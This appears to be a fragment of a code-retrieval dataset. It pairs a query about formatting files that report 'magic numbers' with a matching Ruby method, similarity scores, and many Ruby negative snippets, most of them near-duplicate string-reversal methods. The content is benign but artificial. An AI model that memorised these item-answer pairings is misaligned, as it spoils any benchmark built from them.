"def each\n response = run\n\n entities = @collection.deserialize(response.entities)\n entities.each { |x| yield(x) }\n\n while continue?(response)\n response.entities = []\n\n @options[:exclusive_start_key] = response.last_evaluated_key\n response = run(response)\n\n entities = @collection.deserialize(response.entities)\n entities.each { |x| yield(x) }\n end\n\n response.count\n end",
"def setup_pages\n response = @conn.scoped_get('/defects', query: query_for_page(1) )\n @total_results = response[\"Entities\"][\"TotalResults\"].to_i\n @first_page = Page.new(response)\n\n self << @first_page\n (2..page_count).each do |pg_num|\n self << promise do\n Page.new(@conn.defects(query:query_for_page(pg_num)))\n end\n end\n self\n end",
"def load!\n records_by_identity = index_by { |record| record.key_values }\n\n record_set.find_each_row do |row|\n identity = row.values_at(*record_set.key_column_names)\n records_by_identity[identity].hydrate(row)\n end\n\n loaded_count = count { |record| record.loaded? }\n if loaded_count < count\n raise Cequel::Record::RecordNotFound,\n \"Expected #{count} results; got #{loaded_count}\"\n end\n\n self\n end",
"def initialize_entity_types_and_entities\n self.info_screen_entity_types << self.organisation.entity_types.includes(:entities).map do |et|\n iset = InfoScreenEntityType.new(entity_type: et)\n iset.info_screen_entities << et.entities.map { |e| InfoScreenEntity.new(entity: e) }\n iset\n end\n end",
"def build_objects(resp)\n return [] unless resp.respond_to?(:map)\n @tickets = resp.map do |ticket_hash|\n final_object_class.new(ticket_hash.merge(additional_hash_to_serialize_after_response))\n end\n end",
"def fetch_objects(lookup = :parallel)\n items = valid_parse_objects\n lookup == :parallel ? items.threaded_each(2, &:fetch) : items.each(&:fetch)\n #self.replace items\n self\n end",
"def initialize(objs, set_key, start_key, stop_key)\n # build an interval tree of objects going from start_key to stop_key for each set_key\n end",
"def update_registered_entities\n registered_entities.collect! do |gen|\n (gen.is_a?(Class)) ? gen.new : gen\n end\n end",
"def instances\n @instances ||= begin\n h = {}\n PPStore::new(app.pstore_new_sujets).each_root(except: :last_id) do |ps, art_id|\n h.merge! art_id => new( art_id )\n end\n h\n end\n end",
"def load_locations\n\t \t\n\t \tself.locations = []\n\n\t \tsearch_request = Geo::Location.search({\n\t \t\tquery: {\n\t \t\t\tterm: {\n\t \t\t\t\tmodel_id: self.id.to_s\n\t \t\t\t}\n\t \t\t}\n\t \t})\n\n\t \tsearch_request.response.hits.hits.each do |hit|\n\t \t\tlocation = Geo::Location.new(hit[\"_source\"])\n\t \t\tlocation.id = hit[\"_id\"]\n\t \t\tlocation.run_callbacks(:find)\n\t \t\tself.locations << location\n\t \tend\n\t \t\n\tend"
] |
[
"0.7027469",
"0.6118545",
"0.58107525",
"0.57028615",
"0.56853884",
"0.55229694",
"0.5508691",
"0.54597586",
"0.53999543",
"0.5390241",
"0.53761035",
"0.52861804",
"0.52699184",
"0.52337414",
"0.5215823",
"0.5207029",
"0.5189272",
"0.5151213",
"0.51362836",
"0.510706",
"0.50831217",
"0.5082013",
"0.50769174",
"0.5043529",
"0.50361824",
"0.5031836",
"0.50310653",
"0.50240016",
"0.5021127",
"0.501095",
"0.50011915",
"0.49922788",
"0.4989239",
"0.49830246",
"0.49776173",
"0.49444503",
"0.49423552",
"0.49350938",
"0.4919873",
"0.49153623",
"0.49103194",
"0.49012387",
"0.48974577",
"0.4894252",
"0.48925883",
"0.48744002",
"0.48640355",
"0.4861508",
"0.48536515",
"0.48535722",
"0.4851998",
"0.4851172",
"0.48435605",
"0.48428172",
"0.48404458",
"0.483688",
"0.48319894",
"0.48274562",
"0.48270756",
"0.48241842",
"0.4821353",
"0.48167512",
"0.48167512",
"0.48167512",
"0.48106942",
"0.4808935",
"0.48055184",
"0.47999343",
"0.47950676",
"0.4793321",
"0.47877812",
"0.4777596",
"0.47660026",
"0.47587126",
"0.47570962",
"0.47554103",
"0.4724059",
"0.47214016",
"0.47168937",
"0.4714821",
"0.47133842",
"0.47125685",
"0.47096092",
"0.4707146",
"0.4698739",
"0.46968025",
"0.46898687",
"0.4689848",
"0.4684501",
"0.46780014",
"0.4677445",
"0.46767795",
"0.46739566",
"0.46619764",
"0.46496505",
"0.46492943",
"0.46492156",
"0.46336758",
"0.46306747",
"0.4630618"
] |
0.6334193
|
1
|
run through using each method def reverse_each_word(string) string_to_array = string.split reverse_array = [] string_to_array.each do |word| reverse_array << word.reverse end each reverse_array.join(' ') end run through exchanging .each for .collect
|
def reverse_each_word(string)
string_to_array = string.split
reverse_array = []
string_to_array.collect do |word|
reverse_array << word.reverse
end #each
reverse_array.join(' ')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def reverse_each_word(string)\n p string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n string_array = string.split(' ')\n string_array.collect do |word|\n word.reverse!\n end\n string_array.join(\" \")\nend",
"def reverse_each_word(string)\n step_one = string.split(\" \")\n step_one.collect do |word| word.reverse\n \"#{word.reverse}\"\n end\n .join(\" \")\nend",
"def reverse_each_word(string)\n string_array = string.split(' ')\n reversed_array = []\n string_array.collect do |words|\n reversed_array << words.reverse\n end\n reversed_array.join(' ')\nend",
"def reverse_each_word(string)\n array = string.split\n array.collect do |element|\n element.reverse!\n end\n array.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split\n array.collect {|words| words.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split(' ')\n array.collect do |word|\n word.reverse!\n end\n array.join(' ')\nend",
"def reverse_each_word(string)\n words_arr = string.split\n reverse = words_arr.collect {|word| word.reverse}\n reverse.join(\" \")\nend",
"def reverse_each_word(string)\n reversed = string.split(\" \").collect do |word|\n word.reverse\nend\n reversed.join(\" \")\nend",
"def reverse_each_word(string)\n words = string.split(\" \")\n \n words.collect do |word|\n word.reverse!\n end\n \n words.join(\" \")\nend",
"def reverse_each_word(string)\n strarray = string.split(\" \")\n new_string = strarray.collect {|word|\n word.reverse }\n new_string.join(\" \")\nend",
"def reverse_each_word(string)\n arr = string.split\n reversed = arr.collect do |n| n.reverse\n end\n p reversed.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split\n array = array.collect do |word|\n word.reverse\n end\n string = array.join(\" \")\n string\nend",
"def reverse_each_word(string)\n sentence = string.split()\n sentence.collect do |word|\n word.reverse!\n end\n sentence.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split\n \n array.collect do |element| \n element.reverse\n end.join(\" \")\nend",
"def reverse_each_word(string)\n new_arr = string.split\n new_arr.collect do |word|\n word.reverse\n end.join(' ')\n \nend",
"def reverse_each_word(string)\n sentence = string.split(\" \")\n sentence.collect do |word|\nword.reverse\nend.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split\n rev_array = array.collect do |i|\n i.reverse\n end\n rev_array.join(\" \")\nend",
"def reverse_each_word(string)\n new_array = string.split\n reversed = new_array.collect do |word|\n word.reverse\n end\n reversed.join(' ')\nend",
"def reverse_each_word(string)\n array = string.split \" \"\n array.collect { |word| word.reverse! }\n array.join(\" \")\nend",
"def reverse_each_word(string)\n new_string = string.split(\" \")\n new_array = new_string.collect do |item|\n item.reverse\n end\n\tnew_array.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split(\" \")\n def reversed_array(array)\n array.collect do |string| \n string.reverse\n end\n end\n reversed_array(array).join(\" \")\nend",
"def reverse_each_word(string)\n s = string.split(' ')\n s.collect do |word|\n word.reverse!\n end\n s.join(\" \")\nend",
"def reverse_each_word(string)\r\n array = string.split(\" \")\r\n reverse_array = []\r\n array.collect do|string|\r\n reverse_array << string.reverse\r\n end\r\n reverse_array.join(\" \")\r\nend",
"def reverse_each_word(string)\n split = string.split\n split = split.collect do |word|\n word.reverse\n end\n return split.join(\" \")\nend",
"def reverse_each_word(string)\n string_array = string.split(\" \");\n reverse_string_array = string_array.collect { |string| string.reverse};\n return reverse_string_array.join(\" \");\nend",
"def reverse_each_word(string)\n rev_string = string.split\n rev_string.collect do |rev|\n rev.reverse!\n end\n return rev_string.join(\" \")\nend",
"def reverse_each_word(string)\n array_frm_string = string.split(\" \")\n rev_string = \"\"\n array_frm_string.collect do |word|\n rev_string << word.reverse + \" \"\n end\n rev_string.chop\nend",
"def reverse_each_word(string)\n array = []\n array = string.split(\" \")\n array.collect do |word| \n word.reverse!\n end\n final_array = array.join(\" \")\n final_array\nend",
"def reverse_each_word(string)\n sentence_array = string.split(\" \")\n reversed_array = []\n sentence_array.collect do |string|\n reversed_array << string.reverse\n end\n reversed_array.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split(\" \") #can't enumerate on string, so must turn into an array.\n test_array = [] #creating a new array.\n array.collect do |string| #iterate over the string.\n test_array << string.reverse #adding the reverse string into the new empty array.\n end\n test_array.join(\" \") #making the array a string again. \nend",
"def reverse_each_word(string)\n new_arr = []\n string.split.collect do |string|\n new_arr << string.reverse\n end \n new_arr.join(\" \")\n end",
"def reverse_each_word_with_each(string)\n original_array = string.split(\" \")\n return_array = []\n original_array.each do |string|\n return_array << string.reverse\n end\n return_array.join(\" \")\n\nend",
"def reverse_each_word(string)\n\n\n str_n = string.split.collect do |str|\n str.reverse\n end\n\n str_n.join(\" \")\n\nend",
"def reverse_each_word(string)\n array = string.split\n array.each do |word|\n word.reverse!\n end\n array.join(\" \")\nend",
"def reverse_each_word(string)\n string.split\n string.split.collect do |s|\n s.reverse!\n s.split.join(\" \")\n end\n .join(\" \")\nend",
"def reverse_each_word(string)\n arrayOfReversedWords = string.split.collect do |letter|\n letter.reverse\n end\n arrayOfReversedWords.join(\" \")\nend",
"def reverse_each_word(str)\n str_arr = str.split\n new_str_arr = str_arr.collect do |word|\n word.reverse\n end\n new_str_arr.join(' ')\nend",
"def reverse_each_word(string)\nstring = string.split(\" \")\nsentence1 = string.each {|a| a.reverse}\nsentence1.join(\" \")\nsentence2 = string.collect {|a| a.reverse}\nsentence2.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split(\" \")\n new_array = []\n array.collect do |word|\n new_array.push(word.reverse)\n end\n new_array.join(\" \")\nend",
"def reverse_each_word_collect(string)\n string.split(\" \").collect { |i| i.reverse }.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split\n new_array = []\n array.collect do |string|\n new_array.push(string.reverse)\n end\n new_array.join(' ')\nend",
"def reverse_each_word(input_string)\n input_array = input_string.split(\" \")\n \n reverse_array = input_array.collect{ |each_word| each_word.reverse}\n reverse_array.join(\" \")\nend",
"def reverse_each_word(string)\n new_array = string.split(\" \").collect do |word|\n word.reverse\n end\n new_array.join(\" \")\nend",
"def reverse_each_word(string)\n new_string = string.split(\" \").collect do |word|\n word.reverse\n end\n new_string.join(\" \")\nend",
"def reverse_each_word(string) #collect returns new arr \n string.split(' ').collect {|i| i.reverse!}.join(' ')\nend",
"def reverse_each_word(string)\n array = string.split(\" \")\n reverse_array = array.collect {|word| word.reverse}\n reverse_string = reverse_array.join(\" \")\n return reverse_string\nend",
"def reverse_each_word(string)\n array = string.split(\" \")\n new_array = []\n array.collect do |reverse|\n new_array << reverse.reverse\n end\n new_array.join(\" \")\nend",
"def reverse_each_word(string)\n s = string.split(\" \")\n backward_sentence = s.collect do |word|\n word.reverse\n end\n backward_sentence.join(\" \")\nend",
"def reverse_each_word(string)\n splitted_array = string.split(\" \")\n new_array = splitted_array.collect do |word|\n word.reverse\n end\n\n new_array.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split(\" \")\n new_array = []\n array.collect do |string|\n new_array << string.reverse\n end\n new_array.join(\" \")\nend",
"def reverse_each_word(string)\n # METHOD USING COLLECT #\n\n string.split.collect { |word| word.reverse }.join(\" \")\nend",
"def reverse_each_word(string)\n result = []\n string.split.collect do |word|\n result << word.reverse\n end\n result.join(\" \")\nend",
"def reverse_each_word(string_of_words)\n storage_array1 = string_of_words.split(\" \")\n final_message = \"\"\n storage_array1.collect do |word|\n final_message += \"#{word.reverse!} \"\n end\n final_message.strip\nend",
"def reverse_each_word(string)\n array = string.split(\" \")\n reversed_array = array.collect do |element| \n element.reverse\n end\n result = reversed_array.join(\" \")\n return result\nend",
"def reverse_each_word(str)\n arr = str.split\n revArr = arr.collect do |word|\n word.reverse\n end\n revArr.join(\" \")\nend",
"def reverse_each_word(string)\n sentence_array = string.split(\" \")\n reversed_sentence = []\n sentence_array.collect do |word|\n reversed_sentence << word.reverse\n end\n reversed_sentence.join(\" \")\nend",
"def reverse_each_word(string_sentence)\n array = string_sentence.split\n in_place_reverse_string_sentence = []\n array.collect do |element|\n in_place_reverse_string_sentence << element.reverse \n end\n in_place_reverse_string_sentence.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split(\" \")\n new_array = []\n array.collect do |string|\n new_array << string.reverse \n end\n return new_array.join(\" \")\nend",
"def reverse_each_word(str)\r\n str = str.split(\" \")\r\n str.map do |word|\r\n word.reverse!\r\n end\r\n str.join(\" \")\r\nend",
"def reverse_each_word(string)\n string.reverse.split.collect { |word| word }.reverse.join(\" \")\nend",
"def reverse_each_word(string)\n string.split(\" \").collect {|word| word.reverse!}.join(\" \")\nend",
"def reverse_each_word(astring)\n astring.split(\" \").collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n string = string.split\n reversed_string = []\n \n string.collect do |char|\n reversed_string.push(char.reverse)\n end\n \n return reversed_string.join(' ')\nend",
"def reverse_each_word(string)\n string.split(\" \").collect {|x| x.reverse!}.join(\" \")\nend",
"def reverse_each_word(str)\n words = str.split(\" \")\n \n reversed_words = words.collect { |ele| ele.reverse }\n \n return reversed_words.join(\" \")\nend",
"def reverse_each_word(string)\n split_array = string.split(' ')\n reversed = []\n split_array.each do |word|\n reversed << word.reverse\n end\nreturn reversed.join(' ')\nend",
"def reverse_each_word(x) \n #Create a new array to store the split string\n array = []\n #Use .split to split the string into an array of strings\n array = x.split \n #Use collect enumerable to iterate over the elements of array and .reverse! to reverse each element\n array.collect{|n| n.reverse!}\n #Use .join on the array with ' ' to join the elements together with a space into a string\n array.join(' ')\nend",
"def reverse_each_word(string)\n original_array = string.split(\" \")\n new_array = []\n original_array.each do|string|\n new_array << string.reverse\n end\n new_array.join(\" \")\nend",
"def reverse_each_word(words)\n words.split(\" \").collect{ |x| x.reverse}.join(\" \")\nend",
"def reverse_each_word(string_argument)\n\tstring_array = string_argument.split()\n\n\tstring_array.collect do |string|\n\t\tstring.reverse!\n\tend\n\n\tstring_array.join(\" \")\nend",
"def reverse_each_word(str)\n words=str.split(' ')\n sentence = []\n words.collect do |word|\n sentence << word.reverse\n end\n sentence.join(' ')\nend",
"def reverse_each_word(sentence) # will use #collect\n sentence.split(\" \").collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence = sentence.split(' ')\n sentence.collect do |word|\n word.reverse!\n end\n sentence = sentence.join(' ')\nend",
"def reverse_each_word(phrase)\n phrase.split.collect {|word| word.reverse}.join(\" \")\n \n end",
"def reverse_each_word(sentence)\r\n new_sentence = sentence.split\r\n new_sentence.collect do |x|\r\n x.reverse!\r\n end\r\n new_sentence.join(\" \")\r\nend",
"def reverse_each_word(string_sentence)\n array_of_words = string_sentence.split\n\n array_of_words.collect do |word|\n word.reverse\n # binding.pry\n end\n .join(\" \")\nend",
"def reverse_each_word(sentence)\narrayed = sentence.split (\" \")\nreversed = arrayed.collect {|i| i.reverse}\nreversed.join (\" \")\nend",
"def reverse_each_word(str)\n\tstr_To_arr = str.split\n\tstr_To_arr.collect do |word|\n\t\tword.reverse\n\tend.join(\" \")\nend",
"def reverse_each_word (sentence)\n array_sentence = sentence.split()\n array_reversed = array_sentence.collect do |word|\n word.reverse\n end\n array_reversed.join(\" \")\nend",
"def reverse_each_word(string)\n helper_array = []\n string_to_array = string.split\n string_to_array.collect do |letter|\n helper_array.push letter.reverse!\n end\n return helper_array.join(\" \")\nend",
"def reverse_each_word(string)\n new_array = []\n string = string.split(\" \")\n string = string.collect{|x| x.reverse}\n new_array = string.join(\" \")\n new_array\nend",
"def reverse_each_word(sentence)\n\n sentence_array = sentence.split\n \n joined_sentence = sentence_array.collect do |something|\n something.reverse\n\n end\n joined_sentence.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.split(\" \").collect do |word|\n word.reverse\n end\n .join(\" \")\nend",
"def reverse_each_word (sentence)\r\n arr = sentence.split\r\n new_sentence = []\r\n arr.collect do |word|\r\n new_sentence << word.reverse\r\n end\r\n new_sentence.join(\" \")\r\nend",
"def reverse_each_word(sentence)\n array_of_split_string = []\n reversed_words = []\n array_of_split_string = sentence.split\n array_of_split_string.collect {|words| reversed_words << words.reverse!}\n reversed_words.join(\" \")\nend",
"def reverse_each_word(sentence)\r\n array1 = sentence.split(\" \")\r\n array1.collect do |x|\r\n x.reverse!\r\n end\r\n array1.join(\" \")\r\nend",
"def reverse_each_word(input)\n input = input.split(\" \")\n input.map! do |word|\n word.reverse \n end\n input.join(\" \")\nend",
"def reverse_each_word(sentence)\n new_array = sentence.split(\" \")\n \n new_sentence = new_array.collect do |word| \n word.reverse \n end\n \n new_sentence.join(\" \")\nend",
"def reverse_words(string)\n split_array = string.split(' ')\n results_array = split_array.map! do |word|\n word.reverse\n end\n results_array.join(' ')\nend",
"def reverse_each_word(sentence)\n array = sentence.split(\" \")\n array_new = []\n array_new = array.collect do |element| \n element.reverse \n end\n array_new.join(\" \")\nend",
"def reverse_each_word(sentence)\n words = sentence.split(\" \")\n\n new_words = words.collect do |word|\n word.reverse()\n end\n\n new_words.join(\" \")\nend",
"def reverse_each_word(sentence)\n array = sentence.split\n array = array.collect {|word| word.reverse}\n array.join(\" \")\nend",
"def reverse_each_word(sentance)\n reversed_sentance = []\n sentance = sentance.split(\" \")\n sentance.collect do |word|\n reversed_sentance << word.reverse\n end\n reversed_sentance.join(\" \")\nend",
"def reverse_each_word(sentence)\n array =[ ]\n new_sentence = \" \"\n(sentence.split).collect do |word|\n word.reverse\n array << (word.reverse)\nend\narray.join(\" \")\nend",
"def reverse_each_word(sentence)\n new_array = sentence.split(\" \").collect do |word|\n word.reverse!\n end\n new_array.join(\" \")\nend"
] |
[
"0.89264756",
"0.8916797",
"0.8912639",
"0.88888675",
"0.888038",
"0.8879262",
"0.8874255",
"0.8870094",
"0.88672286",
"0.8867065",
"0.88666356",
"0.8863131",
"0.8854156",
"0.8854056",
"0.8839098",
"0.88384265",
"0.8831874",
"0.8826323",
"0.8820421",
"0.8819315",
"0.8816487",
"0.88107127",
"0.88039416",
"0.8798106",
"0.8794792",
"0.8793109",
"0.8781313",
"0.8778265",
"0.87757707",
"0.87747693",
"0.87728685",
"0.8771839",
"0.87656283",
"0.8757119",
"0.87530357",
"0.8753034",
"0.87432337",
"0.8740459",
"0.8737031",
"0.87314534",
"0.8717643",
"0.871474",
"0.871474",
"0.871474",
"0.871474",
"0.8711386",
"0.8709876",
"0.87097126",
"0.87090766",
"0.8699329",
"0.8699045",
"0.86971396",
"0.86966544",
"0.86903125",
"0.8683658",
"0.867417",
"0.8672781",
"0.86615175",
"0.86484164",
"0.86338437",
"0.86335635",
"0.8632147",
"0.8626381",
"0.86181885",
"0.8613258",
"0.8599464",
"0.85981333",
"0.8589412",
"0.85797566",
"0.8560819",
"0.85496455",
"0.854026",
"0.85124344",
"0.8474172",
"0.8469418",
"0.84599525",
"0.8446034",
"0.8444002",
"0.8444",
"0.8437867",
"0.84339863",
"0.84212506",
"0.8419836",
"0.84017605",
"0.8389701",
"0.8389364",
"0.8365361",
"0.83409446",
"0.8340038",
"0.83370274",
"0.8320896",
"0.8314216",
"0.8304508",
"0.83027464",
"0.82982665",
"0.8280029",
"0.8268318",
"0.826422",
"0.82594985",
"0.825374"
] |
0.89209235
|
1
|
Format file with magic numbers.
|
def format_file(file)
out = ''
file.magic_numbers.each do |num|
if @color
val = red(num.value)
line = yellow(num.line)
path = pink(file.path)
else
val = num.value
line = num.line
path = file.path
end
out << "#{path}:#{line} detected magic number #{val}\n"
end
out
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def transform(file, format:); end",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
"def filemagic\n @filemagic ||= FileMagic.new(FileMagic::MAGIC_MIME_TYPE)\n end",
"def filemagic\n @filemagic ||= FileMagic.new(FileMagic::MAGIC_MIME_TYPE)\n end",
"def set_magic(file, bytes)\n raise unless bytes.size == 4\n unless nowrite()\n File.open(file, File::RDWR) do |io|\n io.write(bytes)\n end\n end\n end",
"def format_file\n archiveFormat = @archive.to_s.split('\\n')\n archiveFormat.shift()\n archiveFormat.shift()\n archiveFormat.shift()\n archiveFormat.shift()\n archiveFormat.pop()\n archiveFormat.pop()\n archiveFormat\n end",
"def generate_header_info\n magic = FileMagic.new\n @header_info = magic.file(@file_name)\n magic.close\n\n @header_info\n end",
"def show_magic\n\t\t\tputs \" Magic: #{@ident.hex_dump(false, false)}\"\n\t\tend",
"def _extract_mime_type_with_filemagic(io)\n filemagic = FileMagic.new(FileMagic::MAGIC_MIME_TYPE)\n data = io.read(MAGIC_NUMBER); io.rewind\n filemagic.buffer(data)\n end",
"def by_magic(io); end",
"def rnformat\n\n\t# Get the state we need\n\tcheckTools();\n\t\n\ttheArgs = getArguments();\n\n\n\n\t# Reformat the files\n\treformatFiles(theArgs);\n\nend",
"def formatted_source_file(source_file); end",
"def to_file( f )\n size = 0\n @indexes.each { size += Index::FORMAT_SIZE }\n @idata.each do |i| \n size += IntData::FORMAT_SIZE\n size += i.data_size\n end\n\n buf = [@source, @name, @sym, @indexes.length(), @idata.length(), \n size].pack(PFORMAT)\n f.write(buf)\n @indexes.each { |i| i.to_file(f) }\n @idata.each { |i| i.to_file(f) }\n end",
"def patch(filename, mode)\r\n f = open(filename, 'rb')\r\n f.seek(0, 2) # start from EOF\r\n tail = '' # the remaining part not dealt with in the last block, which ends with a \"\\x2a\"\r\n last = 0 # the length of content when reading for the last time\r\n loop do\r\n begin\r\n f.seek(-BUF_SIZE, 1)\r\n d = f.read(BUF_SIZE) + tail\r\n ind = d.index(\"\\x2a\")\r\n if ind.nil?\r\n tail = ''\r\n else\r\n tail = d[0, ind+1] # the new `tail'\r\n d = d[ind+1..-1]\r\n end\r\n rescue Errno::EINVAL # reach the beginning of the file\r\n last = f.tell\r\n f.rewind\r\n d = f.read(last) + tail\r\n end\r\n pos = f.tell # current position\r\n offset = d.rindex(/\\xdc\\x12\\x07\\x28....\\x07\\x0a[\\x06\\x17]\\x2a/)\r\n unless offset.nil?\r\n @total[0] += 1\r\n puts \"\\n\\e[4m#{filename}\\e[0m\"\r\n offset2 = ind+offset+11-BUF_SIZE\r\n if d[offset+10,2] == \"\\x17\\x2a\"\r\n print \"\\e[1;33mPatched Pattern\\e[0m [dc 12 07 28 .. .. .. .. 07 0a \\e[7m17\\e[0m 2a] \\e[1;33mfound at offset 0x#{(pos+offset2).to_s(16)}\\e[0m \"\r\n else\r\n print \"\\e[1;32mPattern to be patched\\e[0m [dc 12 07 28 .. .. .. .. 07 0a \\e[7m06\\e[0m 2a] \\e[1;32mfound at offset 0x#{(pos+offset2).to_s(16)}\\e[0m \"\r\n end\r\n tempMode = mode\r\n if mode == 'A'\r\n print \"\\nChoose the \\e[4m[P]atch\\e[0m or \\e[4m[R]estore\\e[0m mode: \"\r\n print(tempMode = `choice /T 10 /C PR /D P /N`.chomp.upcase)\r\n end\r\n if d[offset+10,2] == \"\\x17\\x2a\"\r\n if tempMode == 'R'\r\n f2 = open(filename, 'r+b')\r\n f2.seek(pos+offset2, 0)\r\n f2.write(\"\\x06\")\r\n f2.close\r\n puts \"\\e[1;33m: Restored.\\e[0m\"\r\n @total[2] += 1\r\n else\r\n puts \": Ignored.\"\r\n @total[3] += 1\r\n end\r\n else\r\n if tempMode == 'R'\r\n puts \": Ignored.\"\r\n @total[3] += 1\r\n else\r\n f2 = open(filename, 'r+b') # write separately\r\n f2.seek(pos+offset2, 0)\r\n f2.write(\"\\x17\")\r\n f2.close\r\n puts \"\\e[1;32m: Patched.\\e[0m\"\r\n @total[1] += 1\r\n end\r\n end\r\n last = -1 # elicit `break'\r\n break\r\n end\r\n break unless last.zero?\r\n f.seek(-BUF_SIZE, 1)\r\n end\r\n # puts \"\\e[1;31mNo pattern found.\\e[0m No operation taken.\" if last >= 0\r\n f.close\r\nrescue # error\r\n puts \"\\e[1;31mError occurred:\"\r\n @total[4] += 1\r\n puts $!.inspect; puts $@.inspect\r\n print \"\\e[0m\"\r\nend",
"def header_magic(ind, outd)\n dirs = []\n hdrs = []\n\n find_files(ind, /.*\\.h[hxp]*$/) do |p|\n outdir = File.dirname p.sub(ind, outd)\n outfile = File.join(outd, File.basename(p))\n\n directory outdir\n file outfile => p do\n cp_r p, outdir\n end\n dirs.push outdir\n hdrs.push outfile\n CLEAN.include outfile, outdir\n end\n\n dirs+hdrs\nend",
"def preview_names(offset)\n Dir.foreach('.') do |item|\n next if item == '.' or item == '..' or item == 'numberFix.rb'\n fullname = modify_item(item, offset)\n puts fullname\n end\nend",
"def not_test_add_marks_to_a_file\r\n TextFormatter.add_para_marks_to_a_file(DIR_OF_NEW+File::SEPARATOR+\r\n \tFILE_7) \r\n end",
"def indent()\n file = Tempfile.new(\"out\")\n infile = Tempfile.new(\"in\")\n file.write(self.to_s)\n file.flush\n bufc = \"FOO\"\n\n tmppos = @pos\n\n message(\"Auto format #{@fname}\")\n\n if [\"chdr\", \"c\", \"cpp\"].include?(get_file_type())\n\n #C/C++/Java/JavaScript/Objective-C/Protobuf code\n system(\"clang-format -style='{BasedOnStyle: LLVM, ColumnLimit: 100, SortIncludes: false}' #{file.path} > #{infile.path}\")\n bufc = IO.read(infile.path)\n elsif get_file_type() == \"Javascript\"\n cmd = \"clang-format #{file.path} > #{infile.path}'\"\n debug cmd\n system(cmd)\n bufc = IO.read(infile.path)\n elsif get_file_type() == \"ruby\"\n cmd = \"rufo #{file.path}\"\n debug cmd\n system(cmd)\n bufc = IO.read(file.path)\n else\n return\n end\n self.update_content(bufc)\n center_on_current_line #TODO: needed?\n file.close; file.unlink\n infile.close; infile.unlink\n end",
"def magic=(magic)\n @dirty = true\n @dir_ent['reserved1'] = magic\n end",
"def file_format\n @descriptive_detail.file_format\n end",
"def formats_idx; end",
"def infer_header\n dir = FileUtils.pwd\n dir = dir.split(File::SEPARATOR).last\n dir =~ /(.+)\\.(.+)\\.(.+)/\n width = $1.to_i\n height = $2.to_i\n format = $3.to_i\n [width, height, format]\nend",
"def format=(extension); end",
"def finalize(file_details)\n file_details.map do |f|\n \"#{f.file_info[:ftype]}#{f.file_info[:mode]} \"\\\n \"#{f.format_max_nlink_digit(file_details, f)} \"\\\n \"#{f.file_info[:owner].rjust(5)} #{f.file_info[:group]} \"\\\n \"#{f.format_max_size_digit(file_details, f)} \"\\\n \"#{f.file_info[:mtime]} #{f.file}\"\\\n end\n end",
"def format_content(filename)\n # Remove outdated content files.\n if File.exist?(\"#{@content_dir}/formatted/#{filename}\")\n FileUtils.rm \"#{@content_dir}/formatted/#{filename}\", :force => true\n end\n\n buffer = []\n File.new(\"#{@content_dir}/#{filename}\", 'r').each { |line| buffer << line }\n\n # Create the formatted content directory if it doesn't exist\n unless File.exist?(\"#{@content_dir}/formatted\")\n FileUtils.mkdir_p \"#{@content_dir}/formatted\"\n end\n\n out_file = File.new(\"#{@content_dir}/formatted/#{filename}\", 'w', 0644)\n buffer.each do |row|\n if (/monster\\.com\\/unsub/ =~ row)\n row.gsub!(\"monster.com/unsub\",'monster.com/unsub?eml=#{hash}')\n elsif\n if ((/redlog\\.cgi/ =~ row) || (/outlog\\.cgi/ =~ row))\n if (/ESRC[^\">]*code/ =~ row)\n row.gsub!(/(ESRC[^\">]*)(code[^\"'>]*)([\"|'|>])/, '\\1\\2&eml=#{hash}\\3')\n elsif (/url[^\">]*code/ =~ row)\n row.gsub!(/(url[^\">]*)(code[^\"'>]*)([\"|'|>])/, '\\1\\2&eml=#{hash}\\3')\n end\n end\n end\n out_file.puts row\n end\n out_file.close\nend",
"def to_file( f )\n buf = [ MAGIC, VERSION, @timestamp.to_i, @analyses.length() \n ].pack(PFORMAT)\n f.write(buf)\n\n @analyses.each do |a|\n a.to_file(f)\n end\n end",
"def fprint0(file)\n end",
"def format(file)\n\n qemu_command = @options.qemu_img_binary || Itchy::BASIC_QEMU_COMMAND\n\n image_format_tester = Mixlib::ShellOut.new(\"#{qemu_command} info #{file}\")\n image_format_tester.run_command\n begin\n image_format_tester.error!\n rescue Mixlib::ShellOut::ShellCommandFailed, Mixlib::ShellOut::CommandTimeout,\n Mixlib::ShellOut::InvalidCommandOption => ex\n Itchy::Log.error \"[#{self.class.name}] Checking file format for\" \\\n \"#{file} failed!\"\n fail Itchy::Errors::FileInspectError, ex\n end\n file_format = image_format_tester.stdout.scan(FORMAT_PATTERN)[0].flatten.first\n unless KNOWN_IMAGE_FORMATS.include? file_format\n Itchy::Log.error \"Image format #{file_format} is unknown and not supported!\"\n fail Itchy::Errors::FileInspectError\n end\n if file_format.eql? \"raw\" then\n unless check_real_raw(file)\n\t Itchy::Log.error \"Image format is not a real RAW, it has no boot sector!\"\n fail Itchy::Errors::FileInspectError\n end\n end\n \n file_format\n end",
"def write_int(file, int, md)\n int = [int].pack('N')\n md << int\n file.write(int)\n end",
